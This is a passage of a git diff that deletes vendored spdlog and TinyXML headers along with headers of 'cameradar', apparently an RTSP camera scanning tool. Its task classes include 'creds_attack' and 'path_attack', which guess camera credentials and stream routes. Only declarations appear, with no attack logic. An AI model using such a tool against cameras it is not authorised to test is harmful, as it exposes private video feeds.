Gabi Melman. -// Distributed under the MIT License (http://opensource.org/licenses/MIT) -// - -#pragma once -// -// base sink templated over a mutex (either dummy or realy) -// concrete implementation should only overrid the _sink_it method. -// all locking is taken care of here so no locking needed by the implementors.. -// - -#include -#include -#include -#include "./sink.h" -#include "../formatter.h" -#include "../common.h" -#include "../details/log_msg.h" - -namespace spdlog { -namespace sinks { -template -class base_sink : public sink { -public: - base_sink() : _mutex() {} - virtual ~base_sink() = default; - - base_sink(const base_sink&) = delete; - base_sink& operator=(const base_sink&) = delete; - - void - log(const details::log_msg& msg) override { - std::lock_guard lock(_mutex); - _sink_it(msg); - } - -protected: - virtual void _sink_it(const details::log_msg& msg) = 0; - Mutex _mutex; -}; -} -} diff --git a/cameradar_standalone/include/spdlog/sinks/dist_sink.h b/cameradar_standalone/include/spdlog/sinks/dist_sink.h deleted file mode 100644 index 80099fc..0000000 --- a/cameradar_standalone/include/spdlog/sinks/dist_sink.h +++ /dev/null @@ -1,62 +0,0 @@ -// -// Copyright (c) 2015 David Schury, Gabi Melman -// Distributed under the MIT License (http://opensource.org/licenses/MIT) -// - -#pragma once - -#include -#include -#include -#include - -#include "../details/log_msg.h" -#include "../details/null_mutex.h" -#include "./base_sink.h" -#include "./sink.h" - -namespace spdlog { -namespace sinks { -template -class dist_sink : public base_sink { -public: - explicit dist_sink() : _sinks() {} - dist_sink(const dist_sink&) = delete; - dist_sink& operator=(const dist_sink&) = delete; - virtual ~dist_sink() = default; - -protected: - void - _sink_it(const details::log_msg& msg) override { - for (auto iter = _sinks.begin(); iter != _sinks.end(); iter++) (*iter)->log(msg); - } - - std::vector> _sinks; - -public: - void - flush() override { - std::lock_guard lock(base_sink::_mutex); - for (auto iter = _sinks.begin(); iter != _sinks.end(); iter++) (*iter)->flush(); - } - - void - add_sink(std::shared_ptr sink) { - std::lock_guard lock(base_sink::_mutex); - if (sink && _sinks.end() == std::find(_sinks.begin(), _sinks.end(), sink)) { - _sinks.push_back(sink); - } - } - - void - remove_sink(std::shared_ptr sink) { - std::lock_guard lock(base_sink::_mutex); - auto pos = std::find(_sinks.begin(), _sinks.end(), sink); - if (pos != _sinks.end()) { _sinks.erase(pos); } - } -}; - -typedef dist_sink dist_sink_mt; -typedef dist_sink dist_sink_st; -} -} diff --git a/cameradar_standalone/include/spdlog/sinks/file_sinks.h b/cameradar_standalone/include/spdlog/sinks/file_sinks.h deleted file mode 100644 index 9301594..0000000 --- a/cameradar_standalone/include/spdlog/sinks/file_sinks.h +++ /dev/null @@ -1,210 +0,0 @@ -// -// Copyright(c) 2015 Gabi Melman. -// Distributed under the MIT License (http://opensource.org/licenses/MIT) -// - -#pragma once - -#include -#include "base_sink.h" -#include "../details/null_mutex.h" -#include "../details/file_helper.h" -#include "../details/format.h" - -namespace spdlog { -namespace sinks { -/* -* Trivial file sink with single file as target -*/ -template -class simple_file_sink : public base_sink { -public: - explicit simple_file_sink(const std::string& filename, bool force_flush = false) - : _file_helper(force_flush) { - _file_helper.open(filename); - } - void - flush() override { - _file_helper.flush(); - } - -protected: - void - _sink_it(const details::log_msg& msg) override { - _file_helper.write(msg); - } - -private: - details::file_helper _file_helper; -}; - -typedef simple_file_sink simple_file_sink_mt; -typedef simple_file_sink simple_file_sink_st; - -/* -* Rotating file sink based on size -*/ -template -class rotating_file_sink : public base_sink { -public: - rotating_file_sink(const std::string& base_filename, - const std::string& extension, - std::size_t max_size, - std::size_t max_files, - bool force_flush = false) - : _base_filename(base_filename) - , _extension(extension) - , _max_size(max_size) - , _max_files(max_files) - , _current_size(0) - , _file_helper(force_flush) { - _file_helper.open(calc_filename(_base_filename, 0, _extension)); - _current_size = _file_helper.size(); // expensive. called only once - } - - void - flush() override { - _file_helper.flush(); - } - -protected: - void - _sink_it(const details::log_msg& msg) override { - _current_size += msg.formatted.size(); - if (_current_size > _max_size) { - _rotate(); - _current_size = msg.formatted.size(); - } - _file_helper.write(msg); - } - -private: - static std::string - calc_filename(const std::string& filename, std::size_t index, const std::string& extension) { - fmt::MemoryWriter w; - if (index) - w.write("{}.{}.{}", filename, index, extension); - else - w.write("{}.{}", filename, extension); - return w.str(); - } - - // Rotate files: - // log.txt -> log.1.txt - // log.1.txt -> log2.txt - // log.2.txt -> log3.txt - // log.3.txt -> delete - - void - _rotate() { - _file_helper.close(); - for (auto i = _max_files; i > 0; --i) { - std::string src = calc_filename(_base_filename, i - 1, _extension); - std::string target = calc_filename(_base_filename, i, _extension); - - if (details::file_helper::file_exists(target)) { - if (std::remove(target.c_str()) != 0) { - throw spdlog_ex("rotating_file_sink: failed removing " + target); - } - } - if (details::file_helper::file_exists(src) && - std::rename(src.c_str(), target.c_str())) { - throw spdlog_ex("rotating_file_sink: failed renaming " + src + " to " + target); - } - } - _file_helper.reopen(true); - } - std::string _base_filename; - std::string _extension; - std::size_t _max_size; - std::size_t _max_files; - std::size_t _current_size; - details::file_helper _file_helper; -}; - -typedef rotating_file_sink rotating_file_sink_mt; -typedef rotating_file_sink rotating_file_sink_st; - -/* -* Rotating file sink based on date. rotates at midnight -*/ -template -class daily_file_sink : public base_sink { -public: - // create daily file sink which rotates on given time - daily_file_sink(const std::string& base_filename, - const std::string& extension, - int rotation_hour, - int rotation_minute, - bool force_flush = false) - : _base_filename(base_filename) - , _extension(extension) - , _rotation_h(rotation_hour) - , _rotation_m(rotation_minute) - , _file_helper(force_flush) { - if (rotation_hour < 0 || rotation_hour > 23 || rotation_minute < 0 || rotation_minute > 59) - throw spdlog_ex("daily_file_sink: Invalid rotation time in ctor"); - _rotation_tp = _next_rotation_tp(); - _file_helper.open(calc_filename(_base_filename, _extension)); - } - - void - flush() override { - _file_helper.flush(); - } - -protected: - void - _sink_it(const details::log_msg& msg) override { - if (std::chrono::system_clock::now() >= _rotation_tp) { - _file_helper.open(calc_filename(_base_filename, _extension)); - _rotation_tp = _next_rotation_tp(); - } - _file_helper.write(msg); - } - -private: - std::chrono::system_clock::time_point - _next_rotation_tp() { - using namespace std::chrono; - auto now = system_clock::now(); - time_t tnow = std::chrono::system_clock::to_time_t(now); - tm date = spdlog::details::os::localtime(tnow); - date.tm_hour = _rotation_h; - date.tm_min = _rotation_m; - date.tm_sec = 0; - auto rotation_time = std::chrono::system_clock::from_time_t(std::mktime(&date)); - if (rotation_time > now) - return rotation_time; - else - return system_clock::time_point(rotation_time + hours(24)); - } - - // Create filename for the form basename.YYYY-MM-DD.extension - static std::string - calc_filename(const std::string& basename, const std::string& extension) { - std::tm tm = spdlog::details::os::localtime(); - fmt::MemoryWriter w; - w.write("{}_{:04d}-{:02d}-{:02d}_{:02d}-{:02d}.{}", - basename, - tm.tm_year + 1900, - tm.tm_mon + 1, - tm.tm_mday, - tm.tm_hour, - tm.tm_min, - extension); - return w.str(); - } - - std::string _base_filename; - std::string _extension; - int _rotation_h; - int _rotation_m; - std::chrono::system_clock::time_point _rotation_tp; - details::file_helper _file_helper; -}; - -typedef daily_file_sink daily_file_sink_mt; -typedef daily_file_sink daily_file_sink_st; -} -} diff --git a/cameradar_standalone/include/spdlog/sinks/null_sink.h b/cameradar_standalone/include/spdlog/sinks/null_sink.h deleted file mode 100644 index 89fba7f..0000000 --- a/cameradar_standalone/include/spdlog/sinks/null_sink.h +++ /dev/null @@ -1,26 +0,0 @@ -// -// Copyright(c) 2015 Gabi Melman. -// Distributed under the MIT License (http://opensource.org/licenses/MIT) -// - -#pragma once -#include -#include "./base_sink.h" -#include "../details/null_mutex.h" - -namespace spdlog { -namespace sinks { - -template -class null_sink : public base_sink { -protected: - void - _sink_it(const details::log_msg&) override {} - - void - flush() override {} -}; -typedef null_sink null_sink_st; -typedef null_sink null_sink_mt; -} -} diff --git a/cameradar_standalone/include/spdlog/sinks/ostream_sink.h b/cameradar_standalone/include/spdlog/sinks/ostream_sink.h deleted file mode 100644 index ba3119b..0000000 --- a/cameradar_standalone/include/spdlog/sinks/ostream_sink.h +++ /dev/null @@ -1,45 +0,0 @@ -// -// Copyright(c) 2015 Gabi Melman. -// Distributed under the MIT License (http://opensource.org/licenses/MIT) -// - -#pragma once - -#include -#include -#include - -#include "../details/null_mutex.h" -#include "./base_sink.h" - -namespace spdlog { -namespace sinks { -template -class ostream_sink : public base_sink { -public: - explicit ostream_sink(std::ostream& os, bool force_flush = false) - : _ostream(os), _force_flush(force_flush) {} - ostream_sink(const ostream_sink&) = delete; - ostream_sink& operator=(const ostream_sink&) = delete; - virtual ~ostream_sink() = default; - -protected: - void - _sink_it(const details::log_msg& msg) override { - _ostream.write(msg.formatted.data(), msg.formatted.size()); - if (_force_flush) _ostream.flush(); - } - - void - flush() override { - _ostream.flush(); - } - - std::ostream& _ostream; - bool _force_flush; -}; - -typedef ostream_sink ostream_sink_mt; -typedef ostream_sink ostream_sink_st; -} -} diff --git a/cameradar_standalone/include/spdlog/sinks/sink.h b/cameradar_standalone/include/spdlog/sinks/sink.h deleted file mode 100644 index 7c562a3..0000000 --- a/cameradar_standalone/include/spdlog/sinks/sink.h +++ /dev/null @@ -1,19 +0,0 @@ -// -// Copyright(c) 2015 Gabi Melman. -// Distributed under the MIT License (http://opensource.org/licenses/MIT) -// - -#pragma once - -#include "../details/log_msg.h" - -namespace spdlog { -namespace sinks { -class sink { -public: - virtual ~sink() {} - virtual void log(const details::log_msg& msg) = 0; - virtual void flush() = 0; -}; -} -} diff --git a/cameradar_standalone/include/spdlog/sinks/stdout_sinks.h b/cameradar_standalone/include/spdlog/sinks/stdout_sinks.h deleted file mode 100644 index c9f6f8d..0000000 --- a/cameradar_standalone/include/spdlog/sinks/stdout_sinks.h +++ /dev/null @@ -1,48 +0,0 @@ -// -// Copyright(c) 2015 Gabi Melman. -// Distributed under the MIT License (http://opensource.org/licenses/MIT) -// - -#pragma once - -#include -#include -#include "./ostream_sink.h" -#include "../details/null_mutex.h" - -namespace spdlog { -namespace sinks { - -template -class stdout_sink : public ostream_sink { - using MyType = stdout_sink; - -public: - stdout_sink() : ostream_sink(std::cout, true) {} - static std::shared_ptr - instance() { - static std::shared_ptr instance = std::make_shared(); - return instance; - } -}; - -typedef stdout_sink stdout_sink_st; -typedef stdout_sink stdout_sink_mt; - -template -class stderr_sink : public ostream_sink { - using MyType = stderr_sink; - -public: - stderr_sink() : ostream_sink(std::cerr, true) {} - static std::shared_ptr - instance() { - static std::shared_ptr instance = std::make_shared(); - return instance; - } -}; - -typedef stderr_sink stderr_sink_mt; -typedef stderr_sink stderr_sink_st; -} -} diff --git a/cameradar_standalone/include/spdlog/sinks/syslog_sink.h b/cameradar_standalone/include/spdlog/sinks/syslog_sink.h deleted file mode 100644 index 8f84c59..0000000 --- a/cameradar_standalone/include/spdlog/sinks/syslog_sink.h +++ /dev/null @@ -1,76 +0,0 @@ -// -// Copyright(c) 2015 Gabi Melman. -// Distributed under the MIT License (http://opensource.org/licenses/MIT) -// - -#pragma once - -#ifdef __linux__ - -#include -#include -#include - -#include "./sink.h" -#include "../common.h" -#include "../details/log_msg.h" - -namespace spdlog { -namespace sinks { -/** - * Sink that write to syslog using the `syscall()` library call. - * - * Locking is not needed, as `syslog()` itself is thread-safe. - */ -class syslog_sink : public sink { -public: - // - syslog_sink(const std::string& ident = "", - int syslog_option = 0, - int syslog_facility = LOG_USER) - : _ident(ident) { - _priorities[static_cast(level::trace)] = LOG_DEBUG; - _priorities[static_cast(level::debug)] = LOG_DEBUG; - _priorities[static_cast(level::info)] = LOG_INFO; - _priorities[static_cast(level::notice)] = LOG_NOTICE; - _priorities[static_cast(level::warn)] = LOG_WARNING; - _priorities[static_cast(level::err)] = LOG_ERR; - _priorities[static_cast(level::critical)] = LOG_CRIT; - _priorities[static_cast(level::alert)] = LOG_ALERT; - _priorities[static_cast(level::emerg)] = LOG_EMERG; - _priorities[static_cast(level::off)] = LOG_INFO; - - // set ident to be program name if empty - ::openlog(_ident.empty() ? nullptr : _ident.c_str(), syslog_option, syslog_facility); - } - ~syslog_sink() { ::closelog(); } - - syslog_sink(const syslog_sink&) = delete; - syslog_sink& operator=(const syslog_sink&) = delete; - - void - log(const details::log_msg& msg) override { - ::syslog(syslog_prio_from_level(msg), "%s", msg.raw.str().c_str()); - } - - void - flush() override {} - -private: - std::array _priorities; - // must store the ident because the man says openlog might use the pointer as is and not a - // string copy - const std::string _ident; - - // - // Simply maps spdlog's log level to syslog priority level. - // - int - syslog_prio_from_level(const details::log_msg& msg) const { - return _priorities[static_cast(msg.level)]; - } -}; -} -} - -#endif diff --git a/cameradar_standalone/include/spdlog/spdlog.h b/cameradar_standalone/include/spdlog/spdlog.h deleted file mode 100644 index a05890f..0000000 --- a/cameradar_standalone/include/spdlog/spdlog.h +++ /dev/null @@ -1,151 +0,0 @@ -// -// Copyright(c) 2015 Gabi Melman. -// Distributed under the MIT License (http://opensource.org/licenses/MIT) -// - -// spdlog main header file. -// see example.cpp for usage example - -#pragma once - -#include "common.h" -#include "logger.h" - -namespace spdlog { -// Return an existing logger or nullptr if a logger with such name doesn't exist. -// Examples: -// -// spdlog::get("mylog")->info("Hello"); -// auto logger = spdlog::get("mylog"); -// logger.info("This is another message" , x, y, z); -// logger.info() << "This is another message" << x << y << z; -std::shared_ptr get(const std::string& name); - -// -// Set global formatting -// example: spdlog::set_pattern("%Y-%m-%d %H:%M:%S.%e %l : %v"); -// -void set_pattern(const std::string& format_string); -void set_formatter(formatter_ptr f); - -// -// Set global logging level for -// -void set_level(level::level_enum log_level); - -// -// Turn on async mode (off by default) and set the queue size for each async_logger. -// effective only for loggers created after this call. -// queue_size: size of queue (must be power of 2): -// Each logger will pre-allocate a dedicated queue with queue_size entries upon construction. -// -// async_overflow_policy (optional, block_retry by default): -// async_overflow_policy::block_retry - if queue is full, block until queue has room for the new -// log entry. -// async_overflow_policy::discard_log_msg - never block and discard any new messages when queue -// overflows. -// -// worker_warmup_cb (optional): -// callback function that will be called in worker thread upon start (can be used to init stuff -// like thread affinity) -// -void set_async_mode( - size_t queue_size, - const async_overflow_policy overflow_policy = async_overflow_policy::block_retry, - const std::function& worker_warmup_cb = nullptr, - const std::chrono::milliseconds& flush_interval_ms = std::chrono::milliseconds::zero()); - -// Turn off async mode -void set_sync_mode(); - -// -// Create and register multi/single threaded rotating file logger -// -std::shared_ptr rotating_logger_mt(const std::string& logger_name, - const std::string& filenameB, - size_t max_file_size, - size_t max_files, - bool force_flush = false); -std::shared_ptr rotating_logger_st(const std::string& logger_name, - const std::string& filename, - size_t max_file_size, - size_t max_files, - bool force_flush = false); - -// -// Create file logger which creates new file on the given time (default in midnight): -// -std::shared_ptr daily_logger_mt(const std::string& logger_name, - const std::string& filename, - int hour = 0, - int minute = 0, - bool force_flush = false); -std::shared_ptr daily_logger_st(const std::string& logger_name, - const std::string& filename, - int hour = 0, - int minute = 0, - bool force_flush = false); - -// -// Create and register stdout/stderr loggers -// -std::shared_ptr stdout_logger_mt(const std::string& logger_name); -std::shared_ptr stdout_logger_st(const std::string& logger_name); -std::shared_ptr stderr_logger_mt(const std::string& logger_name); -std::shared_ptr stderr_logger_st(const std::string& logger_name); - -// -// Create and register a syslog logger -// -#ifdef __linux__ -std::shared_ptr -syslog_logger(const std::string& logger_name, const std::string& ident = "", int syslog_option = 0); -#endif - -// Create and register a logger with multiple sinks -std::shared_ptr create(const std::string& logger_name, sinks_init_list sinks); -template -std::shared_ptr -create(const std::string& logger_name, const It& sinks_begin, const It& sinks_end); - -// Create and register a logger with templated sink type -// Example: spdlog::create("mylog", "dailylog_filename", "txt"); -template -std::shared_ptr create(const std::string& logger_name, Args...); - -// Register the given logger with the given name -void register_logger(std::shared_ptr logger); - -// Drop the reference to the given logger -void drop(const std::string& name); - -// Drop all references -void drop_all(); - -/////////////////////////////////////////////////////////////////////////////// -// -// Macros to be display source file & line -// Trace & Debug can be switched on/off at compile time for zero cost debug statements. -// Uncomment SPDLOG_DEBUG_ON/SPDLOG_TRACE_ON in teakme.h to enable. -// -// Example: -// spdlog::set_level(spdlog::level::debug); -// SPDLOG_DEBUG(my_logger, "Some debug message {} {}", 1, 3.2); -/////////////////////////////////////////////////////////////////////////////// - -#ifdef SPDLOG_TRACE_ON -#define SPDLOG_TRACE(logger, ...) \ - logger->trace(__VA_ARGS__) << " (" << __FILE__ << " #" << __LINE__ << ")"; -#else -#define SPDLOG_TRACE(logger, ...) -#endif - -#ifdef SPDLOG_DEBUG_ON -#define SPDLOG_DEBUG(logger, ...) \ - logger->debug(__VA_ARGS__) << " (" << __FILE__ << " #" << __LINE__ << ")"; -#else -#define SPDLOG_DEBUG(logger, ...) -#endif -} - -#include "details/spdlog_impl.h" diff --git a/cameradar_standalone/include/stream_model.h b/cameradar_standalone/include/stream_model.h deleted file mode 100644 index 3add6b0..0000000 --- a/cameradar_standalone/include/stream_model.h +++ /dev/null @@ -1,54 +0,0 @@ -// Copyright 2016 Etix Labs -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -#pragma once - -#include -#include - -namespace etix { -namespace cameradar { - -struct stream_model { - // Ex : "172.16.100.113" - std::string address; - // Ex : 8554 - unsigned int port; - // Ex : "admin" - std::string username = ""; - // Ex : "123456" - std::string password = ""; - // Ex : "live.sdp" - std::string route = ""; - - // Ex : "rtsp" - std::string service_name; - // Ex : "Vivotek HDCam" - std::string product; - // Ex : "RTSP" - std::string protocol; - // Ex : "Open" - std::string state; - - // Ex : "true" - bool path_found = false; - // Ex : "true" - bool ids_found = false; - - // Ex : "/thumbnails/cameradar" - std::string thumbnail_path = ""; -}; -Json::Value deserialize(const stream_model& model); -} -} diff --git a/cameradar_standalone/include/tasks/creds_attack.h b/cameradar_standalone/include/tasks/creds_attack.h deleted file mode 100644 index f9247c0..0000000 --- a/cameradar_standalone/include/tasks/creds_attack.h +++ /dev/null @@ -1,48 +0,0 @@ -// Copyright 2016 Etix Labs -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -#pragma once - -#include // cacheManager -#include // task interface -#include // send DESCRIBE through cURL -#include // std::async & std::future -#include // signals -#include // data model - -namespace etix { -namespace cameradar { - -class creds_attack : public etix::cameradar::cameradar_task { - const configuration& conf; - std::shared_ptr cache; - std::string nmap_output; - -public: - creds_attack() = delete; - creds_attack(std::shared_ptr cache, - const configuration& conf, - std::string nmap_output) - : conf(conf), cache(cache), nmap_output(nmap_output) {} - creds_attack(const creds_attack& ref) = delete; - - virtual bool run() const; - - bool test_ids(const etix::cameradar::stream_model& cit, - const std::string& pit, - const std::string& uit) const; - bool attack_camera_creds(const stream_model& stream) const; -}; -} -} diff --git a/cameradar_standalone/include/tasks/mapping.h b/cameradar_standalone/include/tasks/mapping.h deleted file mode 100644 index 5b9a5f2..0000000 --- a/cameradar_standalone/include/tasks/mapping.h +++ /dev/null @@ -1,43 +0,0 @@ -// Copyright 2016 Etix Labs -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -#pragma once - -#include // task interface -#include // launch_command -#include // launch_command -#include // fmt -#include // data model -#include // cacheManager - -namespace etix { -namespace cameradar { - -class mapping : public etix::cameradar::cameradar_task { - const configuration& conf; - std::shared_ptr cache; - std::string nmap_output; - -public: - mapping() = delete; - mapping(std::shared_ptr cache, - const configuration& conf, - std::string nmap_output) - : conf(conf), cache(cache), nmap_output(nmap_output) {} - mapping(const mapping& ref) = delete; - - virtual bool run() const; -}; -} -} diff --git a/cameradar_standalone/include/tasks/parsing.h b/cameradar_standalone/include/tasks/parsing.h deleted file mode 100644 index 374e441..0000000 --- a/cameradar_standalone/include/tasks/parsing.h +++ /dev/null @@ -1,45 +0,0 @@ -// Copyright 2016 Etix Labs -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -#pragma once - -#include // task interface -#include // parsing -#include // data model -#include // cacheManager - -namespace etix { -namespace cameradar { - -class parsing : public etix::cameradar::cameradar_task { - const configuration& conf; - std::shared_ptr cache; - std::string nmap_output; - -public: - parsing() = delete; - parsing(std::shared_ptr cache, - const configuration& conf, - std::string nmap_output) - : conf(conf), cache(cache), nmap_output(nmap_output) {} - parsing(const parsing& ref) = delete; - - virtual bool run() const; - - void parse_camera(TiXmlElement*, std::vector& data) const; - - bool print_detected_cameras(const std::vector& data) const; -}; -} -} diff --git a/cameradar_standalone/include/tasks/path_attack.h b/cameradar_standalone/include/tasks/path_attack.h deleted file mode 100644 index 9961737..0000000 --- a/cameradar_standalone/include/tasks/path_attack.h +++ /dev/null @@ -1,49 +0,0 @@ -// Copyright 2016 Etix Labs -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -#pragma once - -#include // cacheManager -#include // task interface -#include // cURL client for discovery -#include // send DESCRIBE through cURL -#include // std::async & std::future -#include // LOG -#include // std::shared_ptr -#include // signals -#include // data model - -namespace etix { -namespace cameradar { - -class path_attack : public etix::cameradar::cameradar_task { - const configuration& conf; - std::shared_ptr cache; - std::string nmap_output; - -public: - path_attack() = delete; - path_attack(std::shared_ptr cache, - const configuration& conf, - std::string nmap_output) - : conf(conf), cache(cache), nmap_output(nmap_output) {} - path_attack(const path_attack& ref) = delete; - - virtual bool run() const; - - bool test_path(const etix::cameradar::stream_model& cit, const std::string& it) const; - bool attack_camera_path(const stream_model& stream) const; -}; -} -} diff --git a/cameradar_standalone/include/tasks/print.h b/cameradar_standalone/include/tasks/print.h deleted file mode 100644 index 8b78322..0000000 --- a/cameradar_standalone/include/tasks/print.h +++ /dev/null @@ -1,42 +0,0 @@ -// Copyright 2016 Etix Labs -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -#pragma once - -#include // cacheManager -#include // task interface -#include // std::ofstream -#include // std::ofstream -#include // data model - -namespace etix { -namespace cameradar { - -static const std::string default_result_file_path = "/tmp/shared/result.json"; - -class print : public etix::cameradar::cameradar_task { - const configuration& conf; - std::shared_ptr cache; - std::string nmap_output; - -public: - print() = delete; - print(std::shared_ptr cache, const configuration& conf, std::string nmap_output) - : conf(conf), cache(cache), nmap_output(nmap_output) {} - print(const print& ref) = delete; - - virtual bool run() const; -}; -} -} diff --git a/cameradar_standalone/include/tasks/stream_check.h b/cameradar_standalone/include/tasks/stream_check.h deleted file mode 100644 index df89e7c..0000000 --- a/cameradar_standalone/include/tasks/stream_check.h +++ /dev/null @@ -1,45 +0,0 @@ -// Copyright 2016 Etix Labs -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -#pragma once - -#include // task interface -#include // signals -#include // data model -#include // cacheManager - -#include -#include -#include - -namespace etix { -namespace cameradar { - -class stream_check : public etix::cameradar::cameradar_task { - const configuration& conf; - std::shared_ptr cache; - std::string nmap_output; - -public: - stream_check() = delete; - stream_check(std::shared_ptr cache, - const configuration& conf, - std::string nmap_output) - : conf(conf), cache(cache), nmap_output(nmap_output) {} - stream_check(const stream_check& ref) = delete; - - virtual bool run() const; -}; -} -} diff --git a/cameradar_standalone/include/tasks/thumbnail.h b/cameradar_standalone/include/tasks/thumbnail.h deleted file mode 100644 index bfd94ea..0000000 --- a/cameradar_standalone/include/tasks/thumbnail.h +++ /dev/null @@ -1,48 +0,0 @@ -// Copyright 2016 Etix Labs -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -#pragma once - -#include // cacheManager -#include // task interface -#include // fmt -#include // std::async & std::future -#include // launch_command -#include // make_path -#include // signals -#include // data model - -namespace etix { -namespace cameradar { - -class thumbnail : public etix::cameradar::cameradar_task { - const configuration& conf; - std::shared_ptr cache; - std::string nmap_output; - -public: - thumbnail() = delete; - thumbnail(std::shared_ptr cache, - const configuration& conf, - std::string nmap_output) - : conf(conf), cache(cache), nmap_output(nmap_output) {} - thumbnail(const thumbnail& ref) = delete; - - virtual bool run() const; - - std::string build_output_file_path(const std::string& path) const; - bool generate_thumbnail(const stream_model& stream) const; -}; -} -} diff --git a/cameradar_standalone/include/tinystr.h b/cameradar_standalone/include/tinystr.h deleted file mode 100644 index ac83223..0000000 --- a/cameradar_standalone/include/tinystr.h +++ /dev/null @@ -1,303 +0,0 @@ -/* -www.sourceforge.net/projects/tinyxml - -This software is provided 'as-is', without any express or implied -warranty. In no event will the authors be held liable for any -damages arising from the use of this software. - -Permission is granted to anyone to use this software for any -purpose, including commercial applications, and to alter it and -redistribute it freely, subject to the following restrictions: - -1. The origin of this software must not be misrepresented; you must -not claim that you wrote the original software. If you use this -software in a product, an acknowledgment in the product documentation -would be appreciated but is not required. - -2. Altered source versions must be plainly marked as such, and -must not be misrepresented as being the original software. - -3. This notice may not be removed or altered from any source -distribution. -*/ - -#ifndef TIXML_USE_STL - -#ifndef TIXML_STRING_INCLUDED -#define TIXML_STRING_INCLUDED - -#include -#include - -/* The support for explicit isn't that universal, and it isn't really - required - it is used to check that the TiXmlString class isn't - incorrectly - used. Be nice to old compilers and macro it here: -*/ -#if defined(_MSC_VER) && (_MSC_VER >= 1200) -// Microsoft visual studio, version 6 and higher. -#define TIXML_EXPLICIT explicit -#elif defined(__GNUC__) && (__GNUC__ >= 3) -// GCC version 3 and higher.s -#define TIXML_EXPLICIT explicit -#else -#define TIXML_EXPLICIT -#endif - -/* - TiXmlString is an emulation of a subset of the std::string template. - Its purpose is to allow compiling TinyXML on compilers with no or poor STL - support. - Only the member functions relevant to the TinyXML project have been - implemented. - The buffer allocation is made by a simplistic power of 2 like mechanism : if - we increase - a string and there's no more room, we allocate a buffer twice as big as we - need. -*/ -class TiXmlString { -public: - // The size type used - typedef size_t size_type; - - // Error value for find primitive - static const size_type npos; // = -1; - - // TiXmlString empty constructor - TiXmlString() : rep_(&nullrep_) {} - - // TiXmlString copy constructor - TiXmlString(const TiXmlString& copy) : rep_(0) { - init(copy.length()); - memcpy(start(), copy.data(), length()); - } - - // TiXmlString constructor, based on a string - TIXML_EXPLICIT - TiXmlString(const char* copy) - : rep_(0) { - init(static_cast(strlen(copy))); - memcpy(start(), copy, length()); - } - - // TiXmlString constructor, based on a string - TIXML_EXPLICIT - TiXmlString(const char* str, size_type len) - : rep_(0) { - init(len); - memcpy(start(), str, len); - } - - // TiXmlString destructor - ~TiXmlString() { quit(); } - - TiXmlString& operator=(const char* copy) { return assign(copy, (size_type)strlen(copy)); } - - TiXmlString& operator=(const TiXmlString& copy) { return assign(copy.start(), copy.length()); } - - // += operator. Maps to append - TiXmlString& operator+=(const char* suffix) { - return append(suffix, static_cast(strlen(suffix))); - } - - // += operator. Maps to append - TiXmlString& operator+=(char single) { return append(&single, 1); } - - // += operator. Maps to append - TiXmlString& operator+=(const TiXmlString& suffix) { - return append(suffix.data(), suffix.length()); - } - - // Convert a TiXmlString into a null-terminated char * - const char* - c_str() const { - return rep_->str; - } - - // Convert a TiXmlString into a char * (need not be null terminated). - const char* - data() const { - return rep_->str; - } - - // Return the length of a TiXmlString - size_type - length() const { - return rep_->size; - } - - // Alias for length() - size_type - size() const { - return rep_->size; - } - - // Checks if a TiXmlString is empty - bool - empty() const { - return rep_->size == 0; - } - - // Return capacity of string - size_type - capacity() const { - return rep_->capacity; - } - - // single char extraction - const char& - at(size_type index) const { - assert(index < length()); - return rep_->str[index]; - } - - // [] operator - char& operator[](size_type index) const { - assert(index < length()); - return rep_->str[index]; - } - - // find a char in a string. Return 